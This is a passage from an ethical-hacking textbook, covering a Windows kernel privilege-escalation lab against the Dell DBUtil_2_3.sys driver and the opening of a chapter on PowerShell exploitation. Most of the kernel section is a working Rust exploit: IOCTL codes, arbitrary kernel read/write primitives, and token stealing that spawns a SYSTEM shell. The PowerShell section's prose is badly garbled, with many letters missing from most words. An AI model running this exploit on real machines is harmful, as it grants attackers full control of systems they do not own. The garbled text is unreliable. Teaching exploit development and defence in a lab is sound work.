In May 2021, Sentinel Labs researcher Kasif Dekel published an article detailing a
widely distributed Dell driver with similar issues to the ones on the Eclypsium driv-
ers list.4 One interesting thing about this driver is the scope of distribution—almost
400 platforms have been affected by this issue and disclosure. The driver is called
DBUtil_2_3.sys and has been included with Dell and Alienware updater utilities since
2009. It was signed by Dell’s third-party SPC and not reviewed by or submitted to
Microsoft. Since it is a recent vulnerability and has such a large scope, it is a perfect target
for learning kernel eploitation.
The Dell advisory says that the vulnerabilities impact “firmware update utility packages,
including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware
update utilities and dock firmware update utilities.”4 With this in mind, head over to the
Dell website and start looking for potentially impacted updates. One updater that includes
the driver is the Dell Latitude 7204 Rugged BIOS update A16. At the time of writing,
that update is the latest for that system and it still writes the vulnerable driver to disk.
As an additional eercise, try to find another update that contains the vulnerable driver.
Chapter 14: Windows Kernel Exploitation
287
If you find other drivers along the way, save them for later reverse engineering practice.
The aforementioned updater and a copy of the target driver can be found on the book’s
GitHub repository.
Run the BIOS updater (or your update of choice) on a Windows system and check
in C:\Users\<your user>\AppData\Local\Temp for a file called DBUtil_2_3.sys. If you
cannot find the file there, look in C:\Windows\Temp. You can also fire up Sysinternals
Process Monitor and set a filter for “Path, Ends With, DBUtil_2_3.sys” to see when the
driver is written to disk or invoked.
With the driver file in hand, load it into your disassembler of choice and investigate the
PART III
entry point—IDA Pro was used in the eamples in this chapter.
NOTE The reverse engineering process in this lab is meant to point out
the relevant parts of the program. You may need to spend time looking at
documentation and reverse engineering to come to the same conclusions!
If both the device and symlink creation succeed, the driver moves a function pointer
into rax, and then that function pointer is moved into various offsets from rdi, as
shown in the following illustration. Trace back what is in rdi and you should find that
it is a pointer to the _DRIVER_OBJECT, originally in rcx. Starting at offset 070 in
_DRIVER_OBJECT is the MajorFunction array, so the function being moved into
rax must be the major function handler for the driver. It handles four major functions:
IRP_MJ_CREATE (0), IRP_MJ_CLOSE (2), IRP_MJ_DEVICE_CONTROL (14),
and IRP_MJ_INTERNAL_DEVICE_CONTROL (15).
Chapter 14: Windows Kernel Exploitation
289
Net, take a look at the top of the major function handler, shown here. For ease
of understanding, some instructions have been annotated with structure offsets and
appropriate constant values.
PART III
As you can see, the function references fields in both arguments passed to the
major function handler: _DEVICE_OBJECT in rcx and _IRP in rdx. Remem-
ber that the _IRP structure contains details about the request being made. First,
_IO_STACK_LOCATION is moved into r8 and DeviceExtension is moved into rdi.
Then the constant 14 (IRP_MJ_DEVICE_CONTROL) is compared against the first
byte of _IO_STACK_LOCATION, which is the MajorFunction field. When a device
I/O control is made to the driver, this check will not take the jump, instead continu-
ing on to the net block. In the net block, the input buffer (_IRP->AssociatedIrp
.SystemBuffer) is moved into rax and then placed at rdi+0, which is DeviceExtension+0.
Then the length of the input buffer (_IO_STACK_LOCATION->Parameters
.DeviceIoControl.InputBufferLength) is moved into DeviceExtension+8. We will see
these two values referenced later, so keep them in mind. Net, the input buffer length is
compared against the output buffer length (_IO_STACK_LOCATION->Parameters
.DeviceIoControl.OutputBufferLength) and does not continue processing the I/O
control request if they are not equal. This piece of information will become important
when we try to write code to interact with the driver later in the chapter.
Gray Hat Hacking: The Ethical Hacker’s Handbook
290
When searching for vulnerabilities in compiled programs, it is good practice to start
looking for calls to functions that manipulate memory, such as strcpy, memcpy, and
memmove. Open up the cross-references to the memmove function in your disassembler.
In IDA, press the x key on the function in order to bring up the window shown net.
Spend some time reviewing all of these memmove calls. Trace their arguments
(rcx, rdx, and r8) back to see if you might be able to control any. Remember, values
taken from the _IRP->AssociatedIrp.SystemBuffer and _IO_STACK_LOCATION-
>Parameters.DeviceIoControl structures are directly controllable from user mode. Also
remember that SystemBuffer and InputBufferSize were moved into DeviceExtension
at offsets 0 and 8, respectively.
Hopefully after some searching, you find the memmove call in sub_15294 interesting.
Chapter 14: Windows Kernel Exploitation
291
Depending on the value of dl, the value at r9+0x18 is moved into either rcx (destina-
tion) or rdx (source). At the beginning of this snippet, the other argument to memmove
is in rcx and the move size is moved from eax into r8d. Trace up further to see where r9,
rcx, and eax are derived from, as shown net.
PART III
It looks like rax comes from rbx+0x10 and r9 comes from rbx. So, at this point, we
know that both the size argument and the source or destination come from the buffer
in rbx. Keep tracing up to find that rcx (the first argument) is moved into rbx in the
first block of the function. Tracing up to the caller via cross-reference shows that rdi was
moved into rcx inside of the major function handler, as shown here.
Recall from earlier that rdi holds a pointer to DeviceExtension, which holds a pointer
to SystemBuffer (user input buffer!) at offset 0 and the size of the user input buffer at
offset 8. This means that r9 in sub_15294 is a pointer to the input buffer, so we should
be able to control at least the source/destination and the size of the call to memmove.
Very eciting!
Net, we need to figure out how to reach this code path. We are looking for which
IOCTL code(s) lead to the preceding block. The block has two blocks pointing to it: one
that zeros out edx and one that moves 1 into dl, as seen net. The dl register should be
familiar because its value is how sub_15294 decides whether or not to use the pointer
from r9 as the source or the destination of the memmove call.
Gray Hat Hacking: The Ethical Hacker’s Handbook
292
Tracing up one block from each of these two reveals the IOCTL codes for each:
09B0C1EC4 and 09B0C1EC8.
At this point, we have all the information we need in order to move on to dynamic
analysis of the driver. As an additional eercise, try to figure out what the other IOCTLs
in this driver do. The functionality we just identified is not the only issue with this driver!
Now that we have statically reverse engineered the code and identified the path to an
arbitrary memmove, let’s write some code to interact with the driver. Dynamic analysis
is a very powerful tool in the reverse engineering and eploit development process, so we
will be calling into the driver via code and using the debugger to observe what happens.
Attach your kernel debugger and get the offset of the memmove function by putting
your cursor on the function and running get_screen_ea() - idaapi.get_imagebase() in
IDAPython. This will give you the offset from the base of the driver to the function you
want to debug. Net, set a breakpoint on the function in WinDbg by issuing the bp
command with the driver name and relative offset: bp dbutil_2_3+0x5294. If WinDbg
complains about not being able to resolve the epression, make sure the driver is loaded
and try issuing a .reload to the debugger, and then check that the breakpoint is set prop-
erly with bl.
With the breakpoint set, we need some code to actually trigger it. For a bit of change of
pace, we are going to use Rust to write this tool. On the target VM, download and install
either Visual Studio Community or the Build Tools for Visual Studio. The installed
tools are required by the Rust Windows MSVC toolchain to compile and link programs.
Install Rust on the target machine by downloading rustup-init.ee from https://rustup
.rs and using it to install the 86_64-pc-windows-msvc toolchain. Create a new project
with cargo new --lib dbutil. We are going to write a tool that allows us to specify an
IOCTL and buffer to pass to the DBUtil driver via the DeviceIoControl function. Add
the following lines to the Cargo.toml file under [dependencies]:
winapi = {version = "0.3", features = [
PART III
CreateFileA(
"\\\\.\\DBUtil_2_3\0".as_ptr() as _,➋
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
null_mut(),➌
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
null_mut(),➌
)
}
The imports at the top ❶ will be used for all the functionality of both the IOCTL caller
and the eploit, so don’t worry about unused warnings when compiling. The open_dev
function will open a handle to the DBUtil driver via its symbolic link name, which we
saw while statically reverse engineering the driver. The \\\\.\\ prefi is the modern way
to say “DosDevices,” which represents the global namespace. The string has \0 appended
because the function is epecting a NULL-terminated C string ❷. The null_mut() func-
tion is the equivalent of passing NULL as an argument ❸.
Net, let’s write another function in lib.rs to invoke a device IO control via
DeviceIoControl:
pub unsafe fn ioctl(dev: HANDLE, num: u32, iobuf: PVOID, buflen: usize) -> bool {
DeviceIoControl(
dev,➊
num,➋
iobuf,➌
buflen as _,➍
iobuf,➌
buflen as _,➍
null_mut(),
null_mut(),
) != 0➎
}
The main function of the ioctlcall binary will open the device ❶, get program
arguments as vector of strings ❷, parse the IOCTL number from the first argument ❸,
decode the he input from the second argument ❹, call the specified IOCTL ❺, and
then print the input/output buffer ❻. Let’s try to hit the breakpoint by running cargo
run --bin ioctlcall 0x9B0C1EC4 112233445566778899101112131415161718192
021222324. Remember, we are specifying the input in he, so 48 characters are needed
to represent 24 bytes. The breakpoint should hit! But why 24 bytes? Remember back to
the memmove function in the driver: it epects at least 018 (24) bytes for both the input
and the output buffer.
Eamine the contents of the first argument to this function (rc) with the command
dqs @rcx. You should see an 8-byte kernel pointer and then 0000000000000018.
As we found through static analysis, the first argument to this function is a pointer to the
DeviceExtension. Remember back to the beginning of the IOCTL handler code: the input/
output buffer (_IRP->AssociatedIrp.SystemBuffer) was moved into theDeviceExtension
at offset 0 and the input buffer size (_IO_STACK_LOCATION->Parameters
.DeviceIoControl.InputBufferLength) was moved into the DeviceExtension at offset 8.
Note the SystemBuffer etension address for later!
Single step 26 times (p 0n26) to the memmove call and eamine arguments to
memmove in the rcx, rdx, and r8 registers: r rcx,rdx,r8. Right away, you should notice
that we control part of rdx; the upper 4 bytes (16151413) seem to match bytes 13–16 of
our input (remember: little endian). Let’s use WinDbg to see the difference between the
value we see in rdx and our actual input at that location in the buffer:
3: kd> ? @rdx - 1615141312111099
Evaluate expression: 538515479 = 00000000`20191817
It seems that the 4-byte number at bytes 17–20 of our input was added to the 8-byte
number at bytes 9–16 of our input, meaning we can fully control the source address of
the memmove call!
Chapter 14: Windows Kernel Exploitation
295
Now we need to figure out if we control the other two parameters. The destination
address in rcx just looks like a random kernel address at first glance, but if we compare
it to the input/output buffer address noted earlier, it is very close by. The destination
address is 018 bytes after the start, which also happens to be the size of our input/
output buffer.
Notice how the size passed into the memmove call is 0. If you trace back the value
in r8 from the memmove call, you will find that the size is moved from eax, which
comes from ecx-0x18. The value in ecx is the length of both the input and output
buffers. This means that the memmove call will use a source or destination we specify,
write to or read from the end of the input/output buffer, and be sized as input/output
size minus 018.
To test control over these parameters, we need to modify the input/output buffer to
read from a location of our choosing. The following diagram shows how the buffer is laid
out according to the data we have collected so far.
PART III
0 4 7
Pointer
Offset
Head to the kernel debugger and get the base of the kernel with the command ? nt.
Set bytes 9–16 of the input/output buffer to the ioctlcall program to the base of the
kernel in little-endian, bytes 17–20 to 0, and then make sure the buffer is at least 24 + 8
(32) bytes long. Set the rest of the bytes to 0. For eample, if the base of the kernel is at
0fffff80142000000, the input buffer should be 00000000000000000000004201f8f
fff00000000000000000000000000000000.
Take a look at the output buffer printed as the result, and then compare the last 8
bytes of the buffer with the first 8 bytes of the base of the kernel:
0: kd> db nt L8
fffff801`42000000 4d 5a 90 00 03 00 00 00 MZ......
They should match! The characters MZ should be familiar to you, as they are the first
2 bytes of a PE file (like the kernel). As an additional eercise, test out the arbitrary write
capability in a similar way. You will not be able to write to the base of the kernel because
it is in read-only memory, but you can find other places to write, including in user mode.
Gray Hat Hacking: The Ethical Hacker’s Handbook
296
With confirmation that we can successfully control the parameters to memmove to
gain arbitrary read and write, we can translate the structure to code. Resume adding code
to the lib.rs file:
#[repr(C)]
#[derive(Default)]
struct DbMemmove {
unk1: u64, // unused
ptr: usize, // pointer to read or write
offset: u32, // offset into ptr
unk2: u32, // unused, probably padding
// additional parameters will be src/dst data
}
The repr(C) tag tells the Rust compiler to align the structure like a C structure.
The derive(Default) tag says that all of the types in this structure implement the
core::default::Default trait, so the whole structure does too. The default value for inte-
gers is just 0. You may be wondering why the ptr member is a usize and not LPVOID
(*mut c_void); usize is always pointer sized, and it is easier to cast from arbitrary pointer
types to usize than it is to cast from arbitrary pointer types to LPVOID.
Now that we have an idea what the epected structure looks like and how to call
memmove with arbitrary parameters, we can start to write an eploit to elevate ourselves
to SYSTEM. Before writing any more code, however, you need to understand what
“elevating ourselves to SYSTEM” actually entails.
Token Stealing
What can we do with arbitrary read and write in the kernel? At a minimum, we can
escalate our privileges to SYSTEM via token stealing.
A process is represented in the Windows kernel with an _EPROCESS structure (as in
Eecutive Process). The first member of _EPROCESS is the Pcb field, which is a nested
_KPROCESS structure (as in Kernel Process). _EPROCESS and _KPROCESS contain
a vast amount of information about each process, such as the process ID, image name,
security token, session information, job information, and memory usage information.
Every Windows process has a security token object associated with it. The kernel’s
Security Reference Monitor uses tokens to determine available and active privileges,
group memberships, and other permission-related information when security-related
decisions need to be made. Individual threads also can have tokens associated with them.
The _EPROCESS structure contains a Token member, which is a reference-counted
pointer to a _TOKEN structure. This is the primary token for the process. Unless over-
ridden, a process inherits its primary token from its parent process.
The idea behind token stealing is to overwrite the current, lower privileged process’s
Token field with the _TOKEN pointer from a higher privileged process. An easy and
consistent process from which to steal a high privilege token is the System process. The
System process always has process ID 4 and always has a fully privileged token with
SYSTEM permissions. When a child process is spawned underneath the process that had
its token overwritten with the stolen SYSTEM token, it will have SYSTEM permissions.
Chapter 14: Windows Kernel Exploitation
297
The _EPROCESS structure contains a few members that will help us with this tech-
nique. The UniqueProcessId field contains the process ID of the process as you would
see in task manager, so we can use it to identify the system process and our own process.
The ActiveProcessLinks member is a doubly linked list that links the entire process list.
The Flink and Blink pointers point not to the top of the net _EPROCESS structure
but rather to the ActiveProcessLinks member of the net _EPROCESS structure, as
shown net. This means that when walking the process list, we will have to read the
ActiveProcessLinks member at a particular offset into _EPROCESS and then subtract
that same offset from the read value in order to get to the top of the net process in the list.
_EPROCESS _EPROCESS _EPROCESS
PART III
UniqueProcessld UniqueProcessld UniqueProcessld
The plan will be to find a pointer to the System process (PID 4), copy its Token, walk
the ActiveProcessLinks list to find the current PID’s _EPROCESS structure, overwrite
the current process token with the System token, and then eecute a subprocess with the
elevated permissions. All of the fields that need to be read from or written to are pointer
sized, so that will simplify the eploit code a little bit.
To find a pointer to the system process, we can look in the kernel image itself, which
has a pointer to the System process in the symbol PsInitialSystemProcess. The offsets to
each field in _EPROCESS and to the PsInitialSystemProcess symbol change between
versions of the kernel, so we will need to account for that in the eploit.
With a firm grasp of the goal of token stealing, we need to put the pieces together to
form a fully functioning local privilege escalation eploit. Since token stealing only
involves reading and writing pointer-sized values, we can avoid the hassle of having to
deal with structure pointers by adding a usize member at the end of the DbMemmove
structure:
struct DbMemmove {
...
pad: u32,
data: usize,
}
Gray Hat Hacking: The Ethical Hacker’s Handbook
298
Now we can write one function to read a pointer in the kernel and another to write a
pointer in the kernel. The read function must take a HANDLE to the DBUtil device and
an address to read from and then return the contents of that address:
pub fn read_ptr(hdev: HANDLE, ptr: usize) -> usize {
let mut mc = DbMemmove {
ptr,➊
..Default::default()➋
};
Since we derived Default in the struct definition, we can fill out the one field required
for reading ❶ and then accept the default for the rest (0 for integer types) ❷. Then, we
get a mutable raw pointer to the structure ❸ to pass into the ioctl function as the buffer
along with the device handle, IOCTL code for arbitrary read, and the size of the struc-
ture ❹. Finally, we return the output value ❺.
The write function must also take the DBUtil HANDLE, a pointer to write to, and
then a value to write into that pointer. It has a very similar format to the previous func-
tion; this time we will fill out the data member of the structure and call the ioctl function
with the arbitrary write IOCTL code:
pub fn write_ptr(hdev: HANDLE, ptr: usize, content: usize) {
let mut mc = DbMemmove {
ptr,
data: content,
..Default::default()
};
With these two functions as part of our library, we now have two very powerful primi-
tives and almost all the ingredients we need to elevate our permissions from a normal
user to SYSTEM.
Continuing on with our eploit code, we need to deal with finding the base of the kernel
and the PsInitialSystemProcess symbol. Since we are assuming that we have user-level
access for this eploit, we can ask the system to tell us where the base of each loaded
Chapter 14: Windows Kernel Exploitation
299
driver is via the EnumDeviceDrivers function and then we can get the name of the
driver at each base address using the GetDeviceDriverBaseNameA function:
pub unsafe fn get_kernel_base() -> usize {
let mut needed: u32 = 0;
let mut namebuf = vec![0u8; 260];➎
EnumDeviceDrivers(null_mut(), 0, &mut needed);➊
let mut bases =
vec![0usize; (needed as usize / size_of::<usize>()) as _];➋
EnumDeviceDrivers(bases.as_mut_ptr() as _, needed, &mut needed);➌
PART III
return base;➐
}
}
panic!("Could not find kernel base");
}
There is quite a bit to unpack here! The first call to EnumDeviceDrivers puts the
required buffer size (in bytes) into needed ❶. Then, a buffer is allocated to hold the
anticipated output ❷, and that buffer is filled up via a second call to EnumDevice-
Drivers ❸. Net, the base addresses are iterated and the name of each is retrieved via
GetDeviceDriverBaseNameA ❹. The namebuf is 260 bytes long ❺, which you may
recognize as MAX_PATH; this should be enough to fit the driver name. If the name
matches ntoskrnl.ee ❻, then the base in that current iteration can be returned as the
base of the kernel ❼. Again, this technique only works for an LPE from medium Integ-
rity or better. Remote and/or Low integrity eploits need to figure out a different way to
get an _EPROCESS pointer, such as via a memory leak and an arbitrary read primitive.
Finally, we can construct the eploit. Create a file in the src/bin directory of your
project called eploit.rs and add the following:
use dbutil::{get_kernel_base, open_dev, read_ptr, write_ptr};
use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryA};
fn main() {}
In the main brackets, first call the open_dev function to get a HANDLE to the device.
Since we declared the function unsafe, the call must be wrapped in an unsafe block:
let hdev = unsafe { open_dev() };
This will pause the program until you press a key, so it will give you time to eamine
the program. Define it as a function if you wish to pause your program at multiple
points. Run the program with cargo run --bin exploit. Net, load up Sysinternals
Process Eplorer, find the eploit process, and open the lower pane to the DLL view.
Search for “ntoskrnl.ee” and note that the base address is a user-mode address. The
kernel image you are referencing as hkernel is this user-mode copy and not the one in
the running kernel.
In order to get the address of PsInitialSystemProcess in the running kernel we will
first find the relative virtual address (RVA) of the symbol. The RVA is just the offset of
the symbol from the base of the image. To calculate it, we can subtract the base address
of the module (hkernel) ❷ from the address of PsInitialSystemProcess inside of the
user-mode copy of the kernel. In user mode, GetProcAddress ❶ can be used to find any
eported symbol in a loaded PE image, so we can use it to find the symbol address. To
get the address we need in the running kernel, add the calculated RVA to the return value
of get_kernel_base ❸. Since each operation in this process requires an unsafe tag, we
can include it in the same block and end it with the address of PsInitialSystemProcess
in the running kernel:
let lpisp = unsafe {
let hkernel = LoadLibraryA("ntoskrnl.exe\0".as_ptr() as _);
let isp = GetProcAddress(hkernel,
"PsInitialSystemProcess\0".as_ptr() as _);❶
isp as usize - hkernel as usize❷ + get_kernel_base()❸
};
NOTE The missing semicolon at the end of the last line, at ❸, is not a typo
and is intentional. In Rust, a line that does not end with a semicolon is
returned from that block. In this case, the value of the last line is put in the
variable lpisp.
Since the value in lpisp is just a pointer to PsInitialSystemProcess, the net thing we
need to do is make use of the arbitrary read primitive to retrieve the address inside of it:
let isp = read_ptr(hdev, lpisp);
This uses the arbitrary kernel read to get the address of the _EPROCESS structure
representing the SYSTEM process (PID 4). You may want to validate that the value
is correct. To do so, add a print statement and a pause (as described earlier) and then
dump out the value inside of PsInitialSystemProcess in the debugger via the command
dq nt!PsInitialSystemProcess L1.
Since we are token stealing from the SYSTEM process, the net step is to read the
Token field of _EPROCESS with the arbitrary read. At this point you should look
Chapter 14: Windows Kernel Exploitation
301
up the offsets from the base of the _EPROCESS structure for the UniqueProcessId,
ActiveProcessLinks, and Token fields. This can easily be done in the kernel debugger
using the following command:
2: kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks Token
nt!_EPROCESS
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
+0x4b8 Token : _EX_FAST_REF
Now read the SYSTEM token from the system process with our arbitrary pointer read:
PART III
let systoken = read_ptr(hdev, isp + TOKEN_OFFSET);
The net step is a little bit more involved, as we now need to walk the process list
via the ActiveProcessLinks doubly linked list to find the currently eecuting process.
Walking the process list is a bit tricky because the ActiveProcessLinks list does not point
to the top of the net process; instead, it points to the ActiveProcessLinks structure in
the net process! To solve this, we need to read the value in ActiveProcessLinks ❷ and
then subtract the offset of ActiveProcessLinks from that value to get to the top of the
_EPROCESS structure for the net process in the list ❸. Then, once at the net process,
we read ❹ and compare the UniqueProcessId field to the current process ID ❶. If the
process ID matches, then the current process has been found and we can continue to the
final step of the eploit. If the current process is not found, the program needs to walk to
the net process in the list and continue until it is found.
let mut curproc = isp;
let mypid = std::process::id();
let mut curpid = 0;
while curpid != mypid { ➊
curproc = read_ptr(hdev, curproc + APLINKS_OFFSET); ➋
curproc -= APLINKS_OFFSET; ➌
curpid = read_ptr(hdev, curproc + PID_OFFSET) as _; ➍
}
At this point, all there is left to do is copy the SYSTEM token to the Token field of
the current process’s _EPROCESS structure, which we just found in the last step. To do
this, use the arbitrary pointer write function we wrote in the last lab. Once the token has
been overwritten, spawn a subprocess like cmd.ee:
write_ptr(hdev, curproc + TOKEN_OFFSET, systoken);
std::process::Command::new("cmd.exe").spawn().unwrap();
Gray Hat Hacking: The Ethical Hacker’s Handbook
302
If all goes well, the eploit should spawn a shell and not crash the machine. Run
whoami, as shown net, to see if you are SYSTEM!
You may run into issues with Windows Defender calling your eploit malware. It is
malware, so Defender is just doing its job! However, make sure when you click Allow
on Device, you are selecting your eploit in the list and not an actual piece of malware.
Summary
The Windows kernel can be challenging but manageable with the right resources and
a debugger handy. The undocumented nature of the kernel itself makes researching
or eploiting it even more time-consuming. In the labs, you set up kernel debugging,
picked a known vulnerable kernel driver to target, reverse engineered the driver, wrote
a tool to interact with the driver, and then wrote an LPE eploit using token stealing
via functionality in the driver. Hopefully this has given you a jumping-off point to start
further kernel research!
PART III
2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-
bios-driver-privilege-escalation-flaws/.
5. Dell, “DSA-2021-088: Dell Client Platform Security Update for an Insufficient
Access Control Vulnerability in the Dell DBUTIL Driver,” accessed October 16,
2021, https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-
dell-client-platform-security-update-for-dell-driver-insufficient-access-control-
vulnerability.
This page intentionally left blank
PowerShell Exploitation
CHAPTER
15
In this chapter, we cover the following topics:
• Why PowerShell
• Loading PowerShell scripts
• Creating shells with PowerShell
• PowerShell post-exploitation
Th majoiy of copoa sysms a Widows basd, so i’s impoa ha w hav
a good gasp of h ools availabl i Widows sysms. O of h mos powful of
hs ools is PowShll. I his chap, you la abou wha maks PowShll such a
powful ool, ad w look a som ways o us i as pa of ou xploiaio oolki.
Why PowerShell
Alhough h PowShll laguag has b a blssig fo Widows sysms auoma-
io, i givs hacks lvag. PowShll givs us accss o almos all Widows faus
i a pogammaic way. I’s xsibl ad ca b usd o admiisa Aciv Dicoy,
-mail sysms, ShaPoi, woksaios, ad mo. PowShll givs us accss o
.NET libais fom a scipig ifac, makig i o of h mos flxibl ools you
ca us i a Widows viom.
305
Gray Hat Hacking: The Ethical Hacker’s Handbook
306
O of h mai bfis of PowShll is ha i ca us h I Explo opios,
so higs lik poxy suppo a buil io PowShll. As a sul, w ca us h buil-i
wb libais o load cod moly, maig w do’ hav o maually dowload ay
cod o h ag sysm. Thfo, wh somo looks a h fil sysm’s imli,
hs pulls fom wbsis wo’ show up, allowig us o b v salhi.
PowerShell Logging
I ali vsios of PowShll (p v4.0), oly a hadful of loggig opios w avail-
abl. This allowd us o opa wihou caig a lo of log als wh w loadd
PowShll, ad also mad i vy difficul fo fosics folks o figu ou wha w
had b doig. Th loggig oly ally codd h fac ha PowShll loadd. Wih
w vsios of PowShll, addiioal opios a availabl o icas PowShll
loggig. Bcaus of his, agig h las Widows vsio may giv away mo abou
wha you a doig ha old vsios.
NOTE We cover just a few of the logging aspects of PowerShell that might
impact detection of your hacking. For more information, we have added a
reference from FireEye that lays out the different options in more depth and
explains how to enable them.1
Module Logging
Modul loggig abls a umb of faus cocig how scips a loadd ad h
basics of wha was xcud. This icluds wha moduls ad vaiabls w loadd, ad
v som scip ifomaio. This loggig galy icass h vbosiy wh Pow-
Shll scips a u, ad i may b ovwhlmig o a admiisao. Modul loggig
has b availabl sic PowShll v3.0 ad is o abld by dfaul, so you d o
abl a Goup Policy Objc (GPO) o sysms o g his loggig.
Alhough his yp of loggig icass h visibiliy io wha was u, much of h
im i dos’ povid h acual cod ha was u. Thfo, fo a fosics ivsiga-
io, his lvl of loggig is sill isuffici. I will, howv, ip off ivsigaos o h
yps of higs you hav b doig, alhough h spcifics will likly o b loggd.
PART III
lad puposs. W ca iclud ou scips i a posioy o as basic gis commads
ha w load fom isid ou PowShll viom o boosap oh aciviis.
PowShll ca v us a us’s poxy sigs, so his is a ga way o sablish psis-
c i a viom.
NOTE Lab 15-1 uses the lab setup from GitHub. Follow the Setup guide
in the Lab15 directory. It will require you to run the CloudSetup directory
instructions first. Once this is done, you will be able to bring up the lab
environment for this section.
Bfo w look a how o g aoud scuiy, w should ak a look a how h scu-
iy woks wh i acio. To do his, w’ goig o build a vy simpl scip o ou
Widows 2019 box, ad h w’ll y o xcu his scip. Fo ou scip, w’ jus
goig o ca a dicoy lisig of h oo of C:\. Fis, w d o coc o h
ag sysm usig h cocio dails fom ou lab build oupu ad h cdials
lisd i h posioy fo Chap 15. Oc w log i o h sysm usig h Rmo
Dskop Poocol (RDP), w op up a commad pomp as Admiisao ad h
u h followig cod:
C:\Users\target>echo dir > test.ps1
C:\Users\target>powershell .\test.ps1
.\test.ps1 : File C:\Users\target\test.ps1 cannot be loaded because running
Gray Hat Hacking: The Ethical Hacker’s Handbook
308
scripts is disabled on this system. For more information, see
about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\test.ps1
+ ~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
You ca s h ha h xcuio of ou s.ps1 scip was blockd bcaus uig
scips o h sysm has b disabld. L’s ak a look a h cu xcuio policy:
C:\Users\target>powershell -command Get-ExecutionPolicy
Restricted
This shows ha h cu xcuio policy is “Rsicd.” Tabl 15-1 povids a
bakdow of wha ach of h possibl xcuio policis dos.
L’s y chagig h xcuio policy o Usicd ad h u ou s.ps1 scip
agai:
C:\Users\target>powershell -com Set-ExecutionPolicy unrestricted -Scope CurrentUser
C:\Users\target>powershell -command Get-ExecutionPolicy
Unrestricted
C:\Users\target>powershell .\test.ps1
Directory: C:\Users\target
As you ca s, oc w chag h policy o Usicd, ou scip us jus fi.
Basd o Tabl 15-1, i looks lik RmoSigd should also wok. L’s y i:
C:\Users\target>powershell -com Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
C:\Users\target>powershell -command Get-ExecutionPolicy
RemoteSigned
C:\Users\target>powershell .\test.ps1
Directory: C:\Users\target
Th RmoSigd policy woks as wll. I hoy, w could jus s h xcuio
policy o o of hs wo valus. Ufoualy, i may vioms, his valu is
focd by Goup Policis. I such a siuaio, i’s o ha asy o chag h policy.
Policy Description
Restricted Only system PowerShell commands can be run. The only way to run custom
commands is via Interactive mode.
AllSigned Any script can run if it is signed by a trusted publisher. This allows
corporations and third parties to sign their scripts to enable them to run.
RemoteSigned Scripts that have been downloaded can only be run if they are signed by a
trusted publisher.
Unrestricted Anything goes. Regardless of where or how the script has been obtained, it is
allowed to run.
Table 15-1 PowerShell Execution Policies
Chapter 15: PowerShell Exploitation
309
Thfo, l’s s h valu back o Rsicd, as show h, ad w’ll jus pocd
hough h s of h chap wih h sics cools abld:
C:\Users\target>powershell -com Set-ExecutionPolicy Restricted -Scope CurrentUser
Now, clos h commad pomp, as h maid of h labs should b u as h
omal “ag” us.
I Lab 15-1, w xcud a umb of PowShll commads fom h commad li.
I his lab, w’ goig o look a how o xcu mo complx commads. I h pvi-
ous xampls, you saw ha h -command opio ca b usd o pass a commad o
PART III
h commad li; howv, may of h PowShll opios ca b shod. Fo his
lab, log back i o h ag machi i you lab usig RDP as h ag us. Lauch a
commad shll usig h pivilgs of h “ag” us. I his cas, w ca jus us -com,
as show h, ad sav ouslvs som ypig:
C:\Users\target>powershell -com Get-WmiObject win32_computersystem
Domain : WORKGROUP
Manufacturer : Xen
Model : HVM domU
Name : EC2AMAZ-H3UU9JA
PrimaryOwnerName : EC2
TotalPhysicalMemory : 8589524992
You ca s h ha w could’ us h pip chaac o pass daa fom o mhod
o aoh bcaus i is ipd by h opaig sysm. Th asis way o g aoud
his is hough h us of doubl quos, lik so:
C:\Users\target>powershell -com "Get-WmiObject win32_computersystem | Select Name"
Name
----
EC2AMAZ-H3UU9JA
Gray Hat Hacking: The Ethical Hacker’s Handbook
310
No ha you hosam may b diff. This im, h pip chaac was’ i-
pd by h opaig sysm, so w could g jus h hosam ifomaio fom h
oupu of h WMI quy. Fo simpl commads, his woks wll, ad if w’ jus doig
a fw of hs commads, i’s asy ough o add hm io a bach scip ad u hm
fom h.
Wh w hav a mo complx ask, o havig o woy abou fomaig is ic.
PowShll has a hady mod ha allows us o pass i a Bas64-codd sig as a scip
o u—as log as h scip is o vy log. Th oal lgh fo a Widows commad-
li commad is abou 8,000 chaacs, so ha’s you limi.
W hav o mak a fw chags o ca a codd commad. Fis of all, h
encodedcommand opio of PowShll aks a Bas64-codd Uicod sig, so w
d o cov ou x o Uicod fis ad h cod i as Bas64. To do his,
w d a asy way o cov o Bas64 codig. Alhough w could us h ools
alady o Kali o do his, w’ goig o us o of my favoi oolkis, Ruby BlackBag
by Eic Moi. This Ruby gm coais los of codig ad dcodig ools o hlp wih
boh malwa aalysis ad hackig. SSH io h Kali isac isid you lab. Fis, w
d o isall i bfo w ca us i:
└─$ sudo gem install rbkb
Fetching rbkb-0.7.2.gem
Successfully installed rbkb-0.7.2
Parsing documentation for rbkb-0.7.2
Installing ri documentation for rbkb-0.7.2
Done installing documentation for rbkb after 0 seconds
1 gem installed
Oc his oolki is isalld, i o oly adds Ruby fucioaliy bu also cas som
hlp scips—o of which is calld b64, a Bas64 covsio ool. Nx, w’ll ak
h sam commad w usd i h las lab ad cov i o a PowShll-compaibl
Bas64 sig:
└─$ echo -n "Get-WmiObject win32_computersystem | select Name" \
| iconv -f ASCII -t UTF-16LE | b64
RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcw
B0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAE4AYQBtAGUA
H, w a usig echo wih h -n opio o pi ou ou PowShll commad
wihou icopoaig a wli. Nx, w pass ha io iconv, a chaac s cov,
which will cov ou ASCII x io UTF-16LE, h Widows Uicod foma.
Fially, w pass all of ha io b64, as show x. Th sig ha i oupus is h sig
w’ goig o us wih PowShll o ou Widows ag i h lab.
C:\Users\target>powershell -enc
